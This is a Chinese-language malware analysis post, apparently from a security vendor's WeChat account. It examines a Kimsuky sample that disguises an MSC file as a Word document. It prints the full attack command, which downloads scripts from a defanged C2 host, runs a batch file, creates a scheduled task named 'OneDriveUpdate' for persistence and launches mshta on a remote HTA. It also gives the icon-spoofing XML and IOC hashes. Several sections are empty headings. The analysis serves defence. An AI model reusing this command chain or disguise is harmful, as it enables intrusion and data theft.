背景
01
该技术允许攻击者在用户点击精心构造的MSC文件后，在mmc.exe的上下文中获得完全的代码执行权限。首个利用GrimResource的样本于6月6日上传至VirusTotal。
什么是MMC
02
看到这个后缀，大家可能已经想到了组策略编辑器(gpedit.msc)，按下 Win + R 组合键，输入 gpedit.msc，按回车键即可打开。
样本分析
03
攻击流程大致分为以下几个步骤：
01
初始投递阶段
● 文件伪装成MS Word文档，但实际上是一个MSC文件（Microsoft Management Console 文件），图标也被伪装成Word文档以欺骗用户。
02
恶意文件执行
03
C2通信与指令执行
/c mode 15,1& start explorer "https://brandwizer.co[.]in/green_pad/wp-content/plugins/custom-post-type-maker/essay/share"&echo On Error Resume Next:Set ws = CreateObject("WScript.Shell"):Set fs = CreateObject("Scripting.FileSystemObject"):Set Post0 = CreateObject("msxml2.xmlhttp"):gpath = ws.ExpandEnvironmentStrings("%appdata%") + "Microsoftcool.gif":bpath = ws.ExpandEnvironmentStrings("%appdata%") + "Microsoftcool.bat":If fs.FileExists(gpath) Then:re=fs.movefile(gpath,bpath):re=ws.run(bpath,0,true):fs.deletefile(bpath):Else:Post0.open "GET","https://brandwizer.co[.]in/green_pad/wp-content/plugins/custom-post-type-maker/essay/d.php?na=battmp",False: Post0.setRequestHeader "Content-Type", "application/x-www-form-urlencoded":Post0.Send:t0=Post0.responseText:Set f = fs.CreateTextFile(gpath,True):f.Write(t0):f.Close:End If: > "C:UsersPublicmusicwarm.vbs"&schtasks /create /tn OneDriveUpdate /tr "wscript.exe /b "C:UsersPublicmusicwarm.vbs"" /sc minute /mo 41 /f&start /min mshta https://brandwizer.co[.]in/green_pad/wp-content/plugins/custom-post-type-maker/essay/ttt.hta
04
信息窃取和持久化
（类似ReconShark 恶意软件家族）
●通过对C2服务器（r.php）路径发送电池状态和进程信息等内容。
05
持续通信与指令下发
攻击总结
04
初始入口
通过社工钓鱼（Facebook Messenger + OneDrive链接）引诱用户下载文件。
文件伪装
利用MSC文件伪装成Word文档，诱骗用户执行。
C2服务器
通过C2与目标系统通信，下载进一步恶意脚本和指令。
信息窃取
收集系统电池状态和运行进程信息。
持久化
利用Windows任务计划程序（schtasks）创建定时任务。
隐蔽性
诱饵文件和脚本结合Google Docs链接，降低用户怀疑。
免杀伪装实现
05
样本无害化处理
06
<VisualAttributes><String Name="ApplicationTitle" ID="10"/><Icon Index="0" File="C:Program FilesMicrosoft OfficerootOffice16WINWORD.EXE"><Image Name="Large" BinaryRefIndex="0"/><Image Name="Small" BinaryRefIndex="1"/><Image Name="Large48x" BinaryRefIndex="2"/></Icon></VisualAttributes>
远程加载
07
最终效果
08
参考链接
09
https://www.genians.co.kr/blog/threat_intelligence/facebook
https://learn.microsoft.com/zh-cn/troubleshoot/windows-server/system-management-components/what-is-microsoft-management-console
IOC
10
-
56fa059cf7dc562ce0346b943e8f58bb
-
b5080c0d123ce430f1e28c370a0fa18b
-
e86a24d9f3a42bbb8edc0ca1f8b3715c
-
a12757387f178a0ec092fb5360e4f473
-
75ec9f68a5b62705c115db5119a78134
原文始发于微信公众号（矢安科技）：从APT组织Kimsuky的MSC攻击样本到免杀伪装
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论